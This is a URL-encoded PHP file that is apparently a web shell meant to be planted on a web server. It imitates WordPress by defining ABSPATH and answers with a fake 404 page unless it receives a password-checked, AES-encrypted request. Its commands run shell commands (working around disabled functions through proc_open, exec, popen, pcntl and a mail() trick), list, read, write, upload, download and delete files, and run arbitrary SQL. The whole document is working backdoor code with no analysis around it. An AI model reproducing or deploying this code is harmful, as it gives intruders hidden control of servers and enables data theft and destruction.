%3C%3Fphp%0Aif%28%21defined%28%27ABSPATH%27%29%29define%28%27ABSPATH%27%2Cdirname%28__FILE__%29.%27/%27%29%3B%0A%24_h%3D%27041c6c1cc7d8176243185976fa20b0dd%27%3B%0A%24_r%3Dfile_get_contents%28%27php%3A//input%27%29%3B%0Aif%28%21%24_r%29%7Bhttp_response_code%28404%29%3Becho%20%27%3C%21DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3E404%3C/title%3E%3C/head%3E%3Cbody%3E%3Ch1%3ENot%20Found%3C/h1%3E%3C/body%3E%3C/html%3E%27%3Bexit%3B%7D%0A%24_d%3Djson_decode%28%24_r%2Ctrue%29%3B%0Aif%28%21%24_d%7C%7Cempty%28%24_d%5B%27d%27%5D%29%7C%7Cempty%28%24_d%5B%27iv%27%5D%29%7C%7Cempty%28%24_d%5B%27t%27%5D%29%7C%7Cempty%28%24_d%5B%27p%27%5D%29%29%7Bhttp_response_code%28404%29%3Bexit%3B%7D%0Aif%28md5%28%24_d%5B%27p%27%5D%29%21%3D%3D%24_h%29%7Bhttp_response_code%28404%29%3Bexit%3B%7D%0Aif%28isset%28%24_d%5B%27ts%27%5D%29%26%26abs%28time%28%29-%28int%29%24_d%5B%27ts%27%5D%29%3E300%29%7Bhttp_response_code%28404%29%3Bexit%3B%7D%0A%24_k%3Dhash%28%27sha256%27%2C%24_d%5B%27p%27%5D%2Ctrue%29%3B%0A%24_pt%3Dopenssl_decrypt%28base64_decode%28%24_d%5B%27d%27%5D%29%2C%27aes-256-gcm%27%2C%24_k%2COPENSSL_RAW_DATA%2Cbase64_decode%28%24_d%5B%27iv%27%5D%29%2Cbase64_decode%28%24_d%5B%27t%27%5D%29%29%3B%0Aif%28%21%24_pt%29%7Bhttp_response_code%28404%29%3Bexit%3B%7D%0A%24cmd%3Djson_decode%28%24_pt%2Ctrue%29%3B%0Aif%28%21is_array%28%24cmd%29%7C%7Cempty%28%24cmd%5B%27type%27%5D%29%29%7Bhttp_response_code%28404%29%3Bexit%3B%7D%0Afunction%20_enc%28%24data%2C%24key%29%7B%24j%3Djson_encode%28%24data%2CJSON_UNESCAPED_UNICODE%29%3B%24iv%3Dopenssl_random_pseudo_bytes%2812%29%3B%24tg%3D%27%27%3B%24e%3Dopenssl_encrypt%28%24j%2C%27aes-256-gcm%27%2C%24key%2COPENSSL_RAW_DATA%2C%24iv%2C%24tg%29%3Breturn%20json_encode%28%5B%27d%27%3D%3Ebase64_encode%28%24e%29%2C%27iv%27%3D%3Ebase64_encode%28%24iv%29%2C%27t%27%3D%3Ebase64_encode%28%24tg%29%5D%29%3B%7D%0Afunction%20_out%28%24r%2C%24k%29%7Bheader%28%27Content-Type%3A%20application/json%27%29%3Becho%20_enc%28%24r%2C%24k%29%3Bexit%3B%7D%0A%24type%3D%24cmd%5B%27type%27%5D%3B%24a%3D%24cmd%5B%27data%27%5D%3F%3F%5B%5D%3B%0Aswitch%28%24type%29%7B%0Acase%20%27ping%27%3A_out%28%5B%27ok%27%3D%3Etrue%2C%27php%27%3D%3EPHP_VERSION%2C%27os%27%3D%3Ephp_uname%28%29%2C%27cwd%27%3D%3Egetcwd%28%29%2C%27user%27%3D%3Eget_current_user%28%29%2C%27time%27%3D%3Edate%28%27c%27%29%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27info%27%3A%24dis%3Dini_get%28%27disable_functions%27%29%3F%3A%27%27%3B%24caps%3D%5B%5D%3Bforeach%28%5B%27proc_open%27%2C%27shell_exec%27%2C%27exec%27%2C%27system%27%2C%27passthru%27%2C%27popen%27%5D%20as%20%24fn%29if%28stripos%28%24dis%2C%24fn%29%3D%3D%3Dfalse%26%26function_exists%28%24fn%29%29%24caps%5B%5D%3D%24fn%3Bforeach%28%5B%27pcntl_fork%27%2C%27pcntl_exec%27%2C%27pcntl_waitpid%27%5D%20as%20%24fn%29if%28stripos%28%24dis%2C%24fn%29%3D%3D%3Dfalse%26%26function_exists%28%24fn%29%29%24caps%5B%5D%3D%24fn%3Bif%28function_exists%28%27mail%27%29%26%26stripos%28%24dis%2C%27mail%27%29%3D%3D%3Dfalse%29%24caps%5B%5D%3D%27mail%27%3B_out%28%5B%27php%27%3D%3EPHP_VERSION%2C%27os%27%3D%3Ephp_uname%28%29%2C%27cwd%27%3D%3Egetcwd%28%29%2C%27user%27%3D%3Eget_current_user%28%29%2C%27doc_root%27%3D%3E%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3F%3F%27%27%2C%27tmp%27%3D%3Esys_get_temp_dir%28%29%2C%27disk_free%27%3D%3E%40disk_free_space%28%27/%27%29%2C%27caps%27%3D%3E%24caps%2C%27disabled%27%3D%3E%24dis%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27shell%27%3A%24c%3D%24a%5B%27cmd%27%5D%3F%3F%27%27%3Bif%28%21%24c%29_out%28%5B%27error%27%3D%3E%27no%20cmd%27%5D%2C%24_k%29%3B%24cwd%3D%24a%5B%27cwd%27%5D%3F%3Fgetcwd%28%29%3B%24dis%3Dstrtolower%28ini_get%28%27disable_functions%27%29%3F%3A%27%27%29%3B%24r%3Dnull%3Bif%28stripos%28%24dis%2C%27proc_open%27%29%3D%3D%3Dfalse%26%26function_exists%28%27proc_open%27%29%29%7B%24p%3D%40proc_open%28%24c%2C%5B0%3D%3E%5B%27pipe%27%2C%27r%27%5D%2C1%3D%3E%5B%27pipe%27%2C%27w%27%5D%2C2%3D%3E%5B%27pipe%27%2C%27w%27%5D%5D%2C%24pp%2C%24cwd%29%3Bif%28is_resource%28%24p%29%29%7Bfclose%28%24pp%5B0%5D%29%3B%24o%3Dstream_get_contents%28%24pp%5B1%5D%29%3B%24e%3Dstream_get_contents%28%24pp%5B2%5D%29%3Bfclose%28%24pp%5B1%5D%29%3Bfclose%28%24pp%5B2%5D%29%3B%24r%3D%5B%27stdout%27%3D%3E%24o%2C%27stderr%27%3D%3E%24e%2C%27code%27%3D%3Eproc_close%28%24p%29%5D%3B%7D%7Dif%28%21%24r%26%26stripos%28%24dis%2C%27shell_exec%27%29%3D%3D%3Dfalse%26%26function_exists%28%27shell_exec%27%29%29%7B%24o%3D%40shell_exec%28%27cd%20%27.escapeshellarg%28%24cwd%29.%27%20%26%26%20%27.%24c.%27%202%3E%261%27%29%3B%24r%3D%5B%27stdout%27%3D%3E%24o%3F%3A%27%27%2C%27code%27%3D%3E0%5D%3B%7Dif%28%21%24r%26%26stripos%28%24dis%2C%27exec%27%29%3D%3D%3Dfalse%26%26function_exists%28%27exec%27%29%29%7B%40exec%28%27cd%20%27.escapeshellarg%28%24cwd%29.%27%20%26%26%20%27.%24c.%27%202%3E%261%27%2C%24out%2C%24rc%29%3B%24r%3D%5B%27stdout%27%3D%3Eimplode%28%22%5Cn%22%2C%24out%29%2C%27code%27%3D%3E%24rc%5D%3B%7Dif%28%21%24r%26%26stripos%28%24dis%2C%27system%27%29%3D%3D%3Dfalse%26%26function_exists%28%27system%27%29%29%7Bob_start%28%29%3B%40system%28%27cd%20%27.escapeshellarg%28%24cwd%29.%27%20%26%26%20%27.%24c.%27%202%3E%261%27%2C%24rc%29%3B%24r%3D%5B%27stdout%27%3D%3Eob_get_clean%28%29%2C%27code%27%3D%3E%24rc%5D%3B%7Dif%28%21%24r%26%26stripos%28%24dis%2C%27popen%27%29%3D%3D%3Dfalse%26%26function_exists%28%27popen%27%29%29%7B%24h%3D%40popen%28%27cd%20%27.escapeshellarg%28%24cwd%29.%27%20%26%26%20%27.%24c.%27%202%3E%261%27%2C%27r%27%29%3Bif%28%24h%29%7B%24o%3Dstream_get_contents%28%24h%29%3Bpclose%28%24h%29%3B%24r%3D%5B%27stdout%27%3D%3E%24o%2C%27code%27%3D%3E0%5D%3B%7D%7Dif%28%21%24r%26%26function_exists%28%27pcntl_fork%27%29%26%26function_exists%28%27pcntl_exec%27%29%26%26function_exists%28%27pcntl_waitpid%27%29%29%7B%24tmp%3Dtempnam%28sys_get_temp_dir%28%29%2C%27sh_%27%29%3B%24pid%3D%40pcntl_fork%28%29%3Bif%28%24pid%3D%3D%3D0%29%7B%40chdir%28%24cwd%29%3B%24sh%3D%27/bin/sh%27%3Bif%28%21file_exists%28%24sh%29%29%24sh%3D%27/bin/bash%27%3B%40pcntl_exec%28%24sh%2C%5B%27-c%27%2C%27exec%20%3E%20%27.%24tmp.%27%202%3E%261%3B%27.%24c%5D%29%3Bexit%28127%29%3B%7Delseif%28%24pid%3E0%29%7Bpcntl_waitpid%28%24pid%2C%24st%29%3B%24r%3D%5B%27stdout%27%3D%3E%40file_get_contents%28%24tmp%29%3F%3A%27%27%2C%27code%27%3D%3Epcntl_wifexited%28%24st%29%3Fpcntl_wexitstatus%28%24st%29%3A-1%5D%3B%40unlink%28%24tmp%29%3B%7D%7Dif%28%21%24r%26%26function_exists%28%27mail%27%29%29%7B%24tmp%3Dtempnam%28sys_get_temp_dir%28%29%2C%27sh_%27%29%3B%40mail%28%27%27%2C%27%27%2C%27%27%2C%24c.%27%20%3E%20%27.%24tmp.%27%202%3E%261%27%29%3Busleep%28500000%29%3B%24r%3D%5B%27stdout%27%3D%3E%40file_get_contents%28%24tmp%29%3F%3A%27%27%2C%27code%27%3D%3E0%2C%27via%27%3D%3E%27mail%27%5D%3B%40unlink%28%24tmp%29%3B%7D%0A_out%28%24r%3F%3F%5B%27error%27%3D%3E%27blocked%27%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27ls%27%3A%24path%3D%24a%5B%27path%27%5D%3F%3Fgetcwd%28%29%3Bif%28%21is_dir%28%24path%29%29_out%28%5B%27error%27%3D%3E%27not%20dir%27%5D%2C%24_k%29%3B%24items%3D%5B%5D%3Bforeach%28new%20DirectoryIterator%28%24path%29%20as%20%24i%29%7Bif%28%24i-%3EisDot%28%29%29continue%3B%24items%5B%5D%3D%5B%27n%27%3D%3E%24i-%3EgetFilename%28%29%2C%27t%27%3D%3E%24i-%3EisDir%28%29%3F%27d%27%3A%27f%27%2C%27s%27%3D%3E%24i-%3EisFile%28%29%3F%24i-%3EgetSize%28%29%3A0%5D%3B%7D_out%28%5B%27path%27%3D%3E%24path%2C%27items%27%3D%3E%24items%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27read%27%3A%24f%3D%24a%5B%27path%27%5D%3F%3F%27%27%3Bif%28%21%24f%7C%7C%21is_file%28%24f%29%29_out%28%5B%27error%27%3D%3E%27404%27%5D%2C%24_k%29%3B%24c%3Dfile_get_contents%28%24f%2Cfalse%2Cnull%2C0%2Cmin%28filesize%28%24f%29%2C2097152%29%29%3B_out%28%5B%27content%27%3D%3E%24c%2C%27size%27%3D%3Efilesize%28%24f%29%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27write%27%3A%24f%3D%24a%5B%27path%27%5D%3F%3F%27%27%3Bif%28%21%24f%29_out%28%5B%27error%27%3D%3E%27no%20path%27%5D%2C%24_k%29%3B%24dir%3Ddirname%28%24f%29%3Bif%28%21is_dir%28%24dir%29%29%40mkdir%28%24dir%2C0755%2Ctrue%29%3B%24b%3Dfile_put_contents%28%24f%2C%24a%5B%27content%27%5D%3F%3F%27%27%29%3B_out%28%24b%21%3D%3Dfalse%3F%5B%27ok%27%3D%3Etrue%2C%27bytes%27%3D%3E%24b%5D%3A%5B%27error%27%3D%3E%27fail%27%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27upload%27%3A%24f%3D%24a%5B%27path%27%5D%3F%3F%27%27%3B%24data%3D%24a%5B%27data%27%5D%3F%3F%27%27%3Bif%28%21%24f%7C%7C%21%24data%29_out%28%5B%27error%27%3D%3E%27need%20path%2Bdata%27%5D%2C%24_k%29%3B%24dir%3Ddirname%28%24f%29%3Bif%28%21is_dir%28%24dir%29%29%40mkdir%28%24dir%2C0755%2Ctrue%29%3B%24b%3Dfile_put_contents%28%24f%2Cbase64_decode%28%24data%29%29%3B_out%28%24b%21%3D%3Dfalse%3F%5B%27ok%27%3D%3Etrue%2C%27bytes%27%3D%3E%24b%5D%3A%5B%27error%27%3D%3E%27fail%27%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27download%27%3A%24f%3D%24a%5B%27path%27%5D%3F%3F%27%27%3Bif%28%21%24f%7C%7C%21is_file%28%24f%29%29_out%28%5B%27error%27%3D%3E%27404%27%5D%2C%24_k%29%3B_out%28%5B%27data%27%3D%3Ebase64_encode%28file_get_contents%28%24f%29%29%2C%27size%27%3D%3Efilesize%28%24f%29%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27find%27%3A%24dir%3D%24a%5B%27path%27%5D%3F%3Fgetcwd%28%29%3B%24pat%3D%24a%5B%27pattern%27%5D%3F%3F%27%2A%27%3B%24max%3D%28int%29%28%24a%5B%27max%27%5D%3F%3F500%29%3B%24items%3D%5B%5D%3B%24cnt%3D0%3B%24it%3Dnew%20RecursiveIteratorIterator%28new%20RecursiveDirectoryIterator%28%24dir%2CFilesystemIterator%3A%3ASKIP_DOTS%29%29%3Bforeach%28%24it%20as%20%24f%29%7Bif%28%24cnt%3E%3D%24max%29break%3Bif%28fnmatch%28%24pat%2C%24f-%3EgetFilename%28%29%29%29%7B%24items%5B%5D%3D%5B%27path%27%3D%3E%24f-%3EgetPathname%28%29%2C%27size%27%3D%3E%24f-%3EgetSize%28%29%5D%3B%24cnt%2B%2B%3B%7D%7D%0A_out%28%5B%27items%27%3D%3E%24items%2C%27count%27%3D%3E%24cnt%5D%2C%24_k%29%3Bbreak%3B%0Acase%20%27db%27%3A%24h2%3D%24a%5B%27host%27%5D%3F%3F%27localhost%27%3B%24u%3D%24a%5B%27user%27%5D%3F%3F%27%27%3B%24p%3D%24a%5B%27pass%27%5D%3F%3F%27%27%3B%24db%3D%24a%5B%27db%27%5D%3F%3F%27%27%3B%24sql%3D%24a%5B%27sql%27%5D%3F%3F%27%27%3Bif%28%21%24sql%29_out%28%5B%27error%27%3D%3E%27no%20sql%27%5D%2C%24_k%29%3Btry%7B%24pdo%3Dnew%20PDO%28%22mysql%3Ahost%3D%24h2%3Bdbname%3D%24db%22%2C%24u%2C%24p%2C%5BPDO%3A%3AATTR_ERRMODE%3D%3EPDO%3A%3AERRMODE_EXCEPTION%5D%29%3B%24lc%3Dstrtolower%28ltrim%28%24sql%29%29%3Bif%28preg_match%28%27/%5E%28select%7Cshow%7Cdescribe%29%5Cb/%27%2C%24lc%29%29%7B%24st%3D%24pdo-%3Equery%28%24sql%29%3B_out%28%5B%27rows%27%3D%3E%24st-%3EfetchAll%28PDO%3A%3AFETCH_ASSOC%29%5D%2C%24_k%29%3B%7Delse%7B_out%28%5B%27affected%27%3D%3E%24pdo-%3Eexec%28%24sql%29%5D%2C%24_k%29%3B%7D%7Dcatch%28%5CThrowable%20%24e%29%7B_out%28%5B%27error%27%3D%3E%24e-%3EgetMessage%28%29%5D%2C%24_k%29%3B%7Dbreak%3B%0Acase%20%27rm%27%3A%24f%3D%24a%5B%27path%27%5D%3F%3F%27%27%3Bif%28is_file%28%24f%29%29_out%28%5B%27ok%27%3D%3E%40unlink%28%24f%29%5D%2C%24_k%29%3B_out%28%5B%27error%27%3D%3E%27fail%27%5D%2C%24_k%29%3Bbreak%3B%0Adefault%3A_out%28%5B%27error%27%3D%3E%27%3F%27%5D%2C%24_k%29%3B%7D%0A